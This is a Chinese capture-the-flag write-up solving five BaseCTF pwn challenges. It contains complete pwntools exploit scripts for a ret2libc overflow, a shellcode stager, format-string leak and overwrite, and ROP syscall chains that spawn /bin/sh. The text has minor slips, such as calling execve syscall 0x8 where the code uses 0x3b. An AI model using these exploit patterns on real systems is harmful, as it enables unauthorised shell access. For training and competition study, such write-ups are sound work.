一、week 2
1.她与你皆失
拿到题目同样我们先用checksec检查一下保护
发现题目只开启了数据段不可执行的保护,所给文件为64位的可执行文件,丢进ida里
发现read函数存在栈溢出漏洞,同时未发现后门函数。题目中还给出了libc,所以我们自然想到此题型为ret2libc3,我们首先需要泄露出已知函数在libc中的地址,从而算出基地址,后根据libc中system函数的地址和/bin/sh的地址来构造payload,从而获取shell.
在调用read函数之前,还调用了puts函数,所以我们可以构造payload泄露puts函数在libc中的地址
通过gdb调试我们发现溢出长度为18
from pwn import *
context(log_level='debug',arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.basectf.fun',21277)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['main']
pop_rdi_ret = 0x401176
ret = 0x40101a
p.recv()
payload1 = b'a' * 18 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendline(payload1)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr >>> 0x%x'%addr)
接着我们计算基地址
libc_base = addr - libc.sym['puts']
success('libc_base >>> %x'%libc_base)
通过基地址计算出system和‘/bin/sh’的地址
system = libc_base +libc.sym['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
pay = b'a' * 18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
p.sendline(pay)
获取shell得到flag
完整exp如下
from pwn import *
context(log_level='debug',arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.basectf.fun',21277)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['main']
pop_rdi_ret = 0x401176
ret = 0x40101a
p.recv()
payload1 = b'a' * 18 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendline(payload1)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr >>> 0x%x'%addr)
libc_base = addr - libc.sym['puts']
success('libc_base >>> %x'%libc_base)
system = libc_base +libc.sym['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
pay = b'a' * 18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
p.sendline(pay)
p.interactive()
2.shellcode_level1
拿到elf先checksec一下检查保护
发现elf开启了pie保护,并且开启了canary保护,这使得使用栈溢出漏洞进行攻击变得难以执行。但是,根据题目提示,本题实质上还是要写入shellcode,但是具体往哪里写呢?又怎么写入呢?
还是利用ida进行反编译,观察一下程序的逻辑。
在ida里我们发现,buf变量是一段可读可写可执行的内存空间,并且,如果mmap函数开辟空间正确,首先会向buf里读入两个字节,然后会把buf空间里的内容当作函数,进行执行。那么我们自然可以想到,如果我们向buf里写入shellcode,那shellcode就会被执行,我们就可以成功获取shell。但是因为程序开启了pie保护,所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的,那具体怎么写入呢?
通过检查汇编代码,可以发现,在read(0,buf,2ull)之后,有向寄存器赋值的汇编代码,并且会调用rcx寄存器里的内容的操作,那我们就自然可以想到,向rcx寄存器里写入一个函数,且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall,那么syscall第一个参数是rax寄存器里的值0,所以此时看似调用的是syscall,实则调用的是read函数,并且,rax里是0,rsi的值是buf,rdi的值是500h,也就是调用read(0,buf,0x500)。
所以我们现在可以直接构造payload,写出exp。
from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
context.arch = 'amd64'
p = remote('challenge.basectf.fun',29605)
p.send(asm('syscall'))
payload = b'aa'+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
获取shell
3.format_string_level0
还是先checksec一下
还是保护全开,这就意味着利用栈溢出漏洞进行攻击变得很难执行,同样题目提示我们这是一道利用格式化字符串漏洞进行攻击的题。
我们丢进ida里反编译一下,成功的在printf函数这里发现了格式化字符串漏洞
这个elf首先是打开了flag文件,并且将flag文件里的内容读取写入在v6里,也就是此时flag就在栈上,所以我们现在要想办法把栈上的flag泄露出来,而刚刚好,在下方存在格式化字符串漏洞,所以我们可以通过查找flag相对栈的偏移从而确定我们要泄露的位置。
找偏移有两种办法
- 利用gdb里自带的插件
- 自己寻找
我们可以看到我们输入的数据相对于栈的偏移为10,而flag在我们所写入数据的上两行,所以flag相对于栈的偏移为8
所以我们直接构造payload
from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
p = remote('challenge.basectf.fun',40376)
payload = b'%8$s'
p.sendline(payload)
p.interactive()
获取shell
4.format_string_level1
还是首先chceksec,检查保护
这道题和上面的保护不一样,他没有开pie,那也就是给了我们往目的地址填入数据的机会。
接着我们丢进ida里,根据题目,它其实还是一个格式化字符串漏洞的利用,但是和上一题不一样的是,它的逻辑是,只要target不是0,他就自动打印flag,所以我们的目的就是利用格式化字符串修改目标地址中的值。
还是需要先找偏移,在ida里我们已经可以找到target的地址为
bss:00000000004040B0 target dq ?
在gdb中进行调试,发现我们输入的数据对于栈的偏移为6
所以我们可以利用%n在第7个位置将target中的数据改成我们所期望的数据,构造payload。
from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
p = remote('challenge.basectf.fun',37861)
target = 0x4040b0
payload = b'aaa%7$hn' + p64(target)
p.sendline(payload)
p.interactive()
获取flag
5.gift
同样还是先检查保护
开启了canary保护,同时我们是有可读可写可执行的段的。
打开ida进行反编译,我们可以发现乱七八糟一堆函数,并且只有gets函数存在栈溢出漏洞.
但是这是一个静态程序,那我们可以尝试用ret2syscall的手法进行攻击,所以我们先看一下此elf有没有足够的gaget供我们使用。
该elf有充足的gaget,所以我们可以通过ret2syscall的手法进行攻击,在64位程序中,rax里面放系统调用号,然后将想调用函数的对应参数放入对应的寄存器里(rdi、rsi、rdx),我们在ida里并未发现‘/bin/sh’,所以我们需要先构造read函数(系统调用号为0)写入‘/bin/sh’,接着调用execve(在64位下的调用号为0x8)
寻找目标gaget
pop_rax_ret = 0x419484
❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rax'
0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000419484 : pop rax ; ret
pop_rdi_ret = 0x401f2f
❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rdi'
0x0000000000404a14 : pop rdi ; pop rbp ; ret
0x0000000000401f2f : pop rdi ; ret
pop_rsi_ret = 0x409f9e
❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rsi'
0x0000000000404a12 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000401f2d : pop rsi ; pop r15 ; ret
0x0000000000409f9e : pop rsi ; ret
pop_rdx_rbx_ret = 0x47f2eb
❯ ROPgadget --binary gift --only 'pop|ret' |grep 'rdx'
0x000000000047f2ea : pop rax ; pop rdx ; pop rbx ; ret
0x000000000047f2eb : pop rdx ; pop rbx ; ret
syscall = 0x401ce4
>ROPgadget --binary gift --only 'syscall'
Gadgets information
============================================================
0x0000000000401ce4 : syscall
Unique gadgets found: 1
写出exp
from pwn import *
#sh = process('./gift')
p = remote('challenge.basectf.fun',26775)
context.log_level = 'debug'
offset = 40
rax = 0x419484
rdi = 0x401f2f
rsi = 0x409f9e
rdx_rbx = 0x47f2eb
bss = 0x4c72a0
syscall = 0x401ce4
payload = b'a' * 40
payload += p64(rax) + p64(0x0) +p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx_rbx)+p64(0x10) + p64(0x0) + p64(syscall)
payload += p64(rax) + p64(0x3b) + p64(rdi) + p64(0x498ac9) + p64(rsi) + p64(0) +p64(rdx_rbx) + p64(0) + p64(0) + p64(syscall)
p.sendline(payload)
sleep(1)
p.sendline(b'/bin/sh\x00')
#gdb.attach(sh)
p.interactive()
但是不知道为啥只能打通,但是获取不了flag
在线求助!!!!!!
2.利用ROPgadget一把梭(此题中gets函数为限制读入数据长度)
ROPgadget --binary gift --ropchain
通过gdb调试,我们可以知道offset长度为40
写出exp
from pwn import *
from struct import pack
r = remote('challenge.basectf.fun',35220)
offsest = 40
p = b'a' * offsest
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
r.send(p)
r.interactive()